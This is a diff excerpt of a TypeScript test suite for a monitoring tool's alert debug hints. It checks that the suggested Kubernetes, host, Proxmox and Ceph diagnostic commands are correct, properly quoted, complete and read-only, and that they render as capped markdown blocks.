+ seriesLabels: { mountpoint: "/var", device: "/dev/nvme0n1p2" },
304
+ });
305
+
306
+ expect(commands).toContain("df -h /var && df -i /var");
307
+ expect(
308
+ commands.some((command: string) => {
309
+ return command.includes("du -xh --max-depth=1 /var");
310
+ }),
311
+ ).toBe(true);
312
+ expect(
313
+ commands.some((command: string) => {
314
+ return command.includes("iostat -x 1 3 /dev/nvme0n1p2");
315
+ }),
316
+ ).toBe(true);
317
+ });
318
+
319
+ test("checks inodes, not just bytes", () => {
320
+ /*
321
+ * "df -h says 60%" plus "disk full" errors is the classic inode
322
+ * exhaustion signature, and it is invisible without df -i.
323
+ */
324
+ const commands: Array<string> = getCommandStrings({
325
+ monitorType: MonitorType.Host,
326
+ seriesLabels: { mountpoint: "/var" },
327
+ });
328
+
329
+ expect(
330
+ commands.some((command: string) => {
331
+ return command.includes("df -i");
332
+ }),
333
+ ).toBe(true);
334
+ });
335
+
336
+ test("a mountpoint with a space stays one argument", () => {
337
+ const commands: Array<string> = getCommandStrings({
338
+ monitorType: MonitorType.Host,
339
+ seriesLabels: { mountpoint: "/mnt/my volume" },
340
+ });
341
+
342
+ expect(commands[0]).toContain("'/mnt/my volume'");
343
+ });
344
+
345
+ test("a Server monitor gets the same host commands", () => {
346
+ expect(
347
+ getCommandStrings({
348
+ monitorType: MonitorType.Server,
349
+ seriesLabels: { diskPath: "/var" },
350
+ }).length,
351
+ ).toBeGreaterThan(0);
352
+ });
353
+
354
+ test("emits nothing for a host-scalar series with no entity", () => {
355
+ expect(
356
+ getCommandStrings({
357
+ monitorType: MonitorType.Host,
358
+ seriesLabels: { "host.name": "prod-db-01" },
359
+ }),
360
+ ).toEqual([]);
361
+ });
362
+ });
363
+
364
+ describe("Proxmox and Ceph", () => {
365
+ test("Proxmox covers both the VM and the LXC spelling of a bare guest id", () => {
366
+ /*
367
+ * A hand-built monitor grouped on `vmid` alone does not say
368
+ * whether the guest is a VM or an LXC container, so both CLIs are
369
+ * offered - the wrong one just reports no such guest.
370
+ */
371
+ const commands: Array<string> = getCommandStrings({
372
+ monitorType: MonitorType.Proxmox,
373
+ seriesLabels: { vmid: "100" },
374
+ });
375
+
376
+ expect(commands).toContain("qm status 100 --verbose");
377
+ expect(commands).toContain("pct status 100");
378
+ });
379
+
380
+ test("Proxmox reads the composite id the shipped templates group by", () => {
381
+ /*
382
+ * This is the shape the shipped templates actually produce:
383
+ * pve-exporter puts identity in one `id` datapoint label, and the
384
+ * templates group by it. Without parsing it, a Proxmox alert
385
+ * carried an identity nothing could act on.
386
+ */
387
+ const commands: Array<string> = getCommandStrings({
388
+ monitorType: MonitorType.Proxmox,
389
+ seriesLabels: { id: "qemu/100" },
390
+ });
391
+
392
+ expect(commands).toContain("qm status 100 --verbose");
393
+ // A qemu guest is not an LXC container, so pct is not offered.
394
+ expect(
395
+ commands.some((command: string) => {
396
+ return command.startsWith("pct ");
397
+ }),
398
+ ).toBe(false);
399
+ });
400
+
401
+ test("Proxmox offers only the LXC CLI for an lxc/ id", () => {
402
+ const commands: Array<string> = getCommandStrings({
403
+ monitorType: MonitorType.Proxmox,
404
+ seriesLabels: { id: "lxc/101" },
405
+ });
406
+
407
+ expect(commands).toContain("pct status 101");
408
+ expect(
409
+ commands.some((command: string) => {
410
+ return command.startsWith("qm ");
411
+ }),
412
+ ).toBe(false);
413
+ });
414
+
415
+ test("Proxmox prefers the agent's derived pve.type / pve.id over the raw id", () => {
416
+ const commands: Array<string> = getCommandStrings({
417
+ monitorType: MonitorType.Proxmox,
418
+ seriesLabels: {
419
+ id: "qemu/100",
420
+ "pve.type": "lxc",
421
+ "pve.id": "101",
422
+ },
423
+ });
424
+
425
+ expect(commands).toContain("pct status 101");
426
+ });
427
+
428
+ test("Proxmox takes the last segment of a multi-segment storage id", () => {
429
+ const commands: Array<string> = getCommandStrings({
430
+ monitorType: MonitorType.Proxmox,
431
+ seriesLabels: { id: "storage/pve1/local-lvm" },
432
+ });
433
+
434
+ expect(commands).toContain("pvesm status --storage local-lvm");
435
+ });
436
+
437
+ test("Proxmox investigates the node named by a node/ id", () => {
438
+ const commands: Array<string> = getCommandStrings({
439
+ monitorType: MonitorType.Proxmox,
440
+ seriesLabels: { id: "node/pve1" },
441
+ });
442
+
443
+ expect(commands).toContain("pvecm status");
444
+ expect(commands).toContain("pvesh get /nodes/pve1/status");
445
+ });
446
+
447
+ test("an unrecognised Proxmox id still gets a first command", () => {
448
+ /*
449
+ * Cluster-scoped ids ("cluster/production") and any future id
450
+ * shape must not leave the alert with nothing to run.
451
+ */
452
+ const commands: Array<string> = getCommandStrings({
453
+ monitorType: MonitorType.Proxmox,
454
+ seriesLabels: { id: "cluster/production" },
455
+ });
456
+
457
+ expect(commands).toContain("pvesh get /cluster/resources");
458
+ });
459
+
460
+ test("Ceph always starts from health detail", () => {
461
+ const commands: Array<string> = getCommandStrings({
462
+ monitorType: MonitorType.Ceph,
463
+ seriesLabels: { ceph_daemon: "osd.12" },
464
+ });
465
+
466
+ expect(commands[0]).toBe("ceph health detail");
467
+ expect(commands).toContain("ceph daemon osd.12 status");
468
+ });
469
+ });
470
+
471
+ describe("types with no universally safe command", () => {
472
+ test.each([
473
+ MonitorType.Metrics,
474
+ MonitorType.IoTDevice,
475
+ MonitorType.Website,
476
+ MonitorType.Logs,
477
+ MonitorType.Traces,
478
+ ])("%s emits no commands", (monitorType: MonitorType) => {
479
+ expect(
480
+ getCommandStrings({
481
+ monitorType,
482
+ seriesLabels: { "device.id": "sensor-1", "service.name": "api" },
483
+ }),
484
+ ).toEqual([]);
485
+ });
486
+
487
+ test("an undefined monitor type emits no commands", () => {
488
+ expect(
489
+ SeriesDebugHints.getDebugCommands({
490
+ monitorType: undefined,
491
+ seriesLabels: KUBERNETES_POD_LABELS,
492
+ }),
493
+ ).toEqual([]);
494
+ });
495
+
496
+ test("an ungrouped monitor emits no commands", () => {
497
+ expect(
498
+ SeriesDebugHints.getDebugCommands({
499
+ monitorType: MonitorType.Kubernetes,
500
+ seriesLabels: {},
501
+ }),
502
+ ).toEqual([]);
503
+ expect(
504
+ SeriesDebugHints.getDebugCommands({
505
+ monitorType: MonitorType.Kubernetes,
506
+ seriesLabels: undefined,
507
+ }),
508
+ ).toEqual([]);
509
+ });
510
+ });
511
+
512
+ describe("every emitted command is read-only and complete", () => {
513
+ const ALL_CASES: Array<{
514
+ monitorType: MonitorType;
515
+ seriesLabels: JSONObject;
516
+ }> = [
517
+ {
518
+ monitorType: MonitorType.Kubernetes,
519
+ seriesLabels: KUBERNETES_POD_LABELS,
520
+ },
521
+ {
522
+ monitorType: MonitorType.Kubernetes,
523
+ seriesLabels: {
524
+ "resource.k8s.namespace.name": "prod",
525
+ "resource.k8s.deployment.name": "checkout",
526
+ "resource.k8s.statefulset.name": "kafka",
527
+ "resource.k8s.daemonset.name": "fluentd",
528
+ "resource.k8s.job.name": "nightly",
529
+ "resource.k8s.hpa.name": "web-hpa",
530
+ "resource.k8s.node.name": "ip-10-0-3-14",
531
+ },
532
+ },
533
+ {
534
+ monitorType: MonitorType.Docker,
535
+ seriesLabels: { "resource.container.name": "nginx" },
536
+ },
537
+ {
538
+ monitorType: MonitorType.Podman,
539
+ seriesLabels: { "resource.container.name": "nginx" },
540
+ },
541
+ {
542
+ monitorType: MonitorType.DockerSwarm,
543
+ seriesLabels: {
544
+ "container.name": "web.1.abc",
545
+ "docker.swarm.service.name": "web",
546
+ },
547
+ },
548
+ {
549
+ monitorType: MonitorType.Host,
550
+ seriesLabels: {
551
+ mountpoint: "/var",
552
+ device: "/dev/sda1",
553
+ "network.interface": "eth0",
554
+ },
555
+ },
556
+ {
557
+ monitorType: MonitorType.Proxmox,
558
+ seriesLabels: { vmid: "100", node: "pve1", storage: "local-lvm" },
559
+ },
560
+ {
561
+ monitorType: MonitorType.Ceph,
562
+ seriesLabels: { ceph_daemon: "osd.12", pool_id: "3" },
563
+ },
564
+ ];
565
+
566
+ /*
567
+ * Verbs that change state. `rollout status` is read-only and must
568
+ * not be caught by a bare "rollout" match, so the patterns are
569
+ * deliberately specific.
570
+ */
571
+ const MUTATING_PATTERNS: Array<RegExp> = [
572
+ /\bdelete\b/,
573
+ /\bapply\b/,
574
+ /\bpatch\b/,
575
+ /\bedit\b/,
576
+ /\bscale\b/,
577
+ /\bdrain\b/,
578
+ /\bcordon\b/,
579
+ /\bevict\b/,
580
+ /\bexec\b/,
581
+ /\brollout (undo|restart|pause|resume)\b/,
582
+ /\b(rm|kill|stop|start|restart|prune|reboot|shutdown)\b/,
583
+ /\bset\b/,
584
+ /*
585
+ * A redirect that WRITES somewhere. `2>/dev/null` is how these
586
+ * commands stay quiet about unreadable paths and is not a
587
+ * mutation, so /dev/null is the one permitted target.
588
+ */
589
+ />\s*(?!\/dev\/null\b)\S/,
590
+ ];
591
+
592
+ test.each(ALL_CASES)(
593
+ "$monitorType commands mutate nothing",
594
+ (testCase: { monitorType: MonitorType; seriesLabels: JSONObject }) => {
595
+ const commands: Array<string> = getCommandStrings(testCase);
596
+
597
+ expect(commands.length).toBeGreaterThan(0);
598
+
599
+ for (const command of commands) {
600
+ for (const pattern of MUTATING_PATTERNS) {
601
+ expect(command).not.toMatch(pattern);
602
+ }
603
+ }
604
+ },
605
+ );
606
+
607
+ test.each(ALL_CASES)(
608
+ "$monitorType commands never contain a blank interpolation",
609
+ (testCase: { monitorType: MonitorType; seriesLabels: JSONObject }) => {
610
+ for (const command of getCommandStrings(testCase)) {
611
+ // A half-filled command shows up as a doubled or trailing space.
612
+ expect(command).not.toMatch(/\s\s/);
613
+ expect(command.trim()).toBe(command);
614
+ // ...and as a flag with nothing after it.
615
+ expect(command).not.toMatch(/(-n|-c)\s*$/);
616
+ }
617
+ },
618
+ );
619
+
620
+ test.each(ALL_CASES)(
621
+ "$monitorType commands each explain what they answer",
622
+ (testCase: { monitorType: MonitorType; seriesLabels: JSONObject }) => {
623
+ for (const command of SeriesDebugHints.getDebugCommands(testCase)) {
624
+ expect(command.purpose.length).toBeGreaterThan(0);
625
+ }
626
+ },
627
+ );
628
+ });
629
+
630
+ describe("buildMarkdownBlock", () => {
631
+ test("renders the commands as fenced markdown under a heading", () => {
632
+ const block: string = SeriesDebugHints.buildMarkdownBlock({
633
+ monitorType: MonitorType.Kubernetes,
634
+ seriesLabels: KUBERNETES_POD_LABELS,
635
+ });
636
+
637
+ expect(block).toContain("**Start here**");
638
+ expect(block).toContain("kubectl describe pod checkout-7d9f-2xk -n prod");
639
+ expect(block).toContain("```");
640
+ });
641
+
642
+ test("caps how many commands land in a notification", () => {
643
+ const block: string = SeriesDebugHints.buildMarkdownBlock({
644
+ monitorType: MonitorType.Kubernetes,
645
+ seriesLabels: KUBERNETES_POD_LABELS,
646
+ maxCommands: 2,
647
+ });
648
+
649
+ expect(block.split("- ").length - 1).toBe(2);
650
+ });
651
+
652
+ test("is empty when there is nothing to suggest", () => {
653
+ expect(
654
+ SeriesDebugHints.buildMarkdownBlock({
655
+ monitorType: MonitorType.Metrics,
656
+ seriesLabels: { "service.name": "api" },
657
+ }),
658
+ ).toBe("");
659
+ });
660
+ });
661
+ });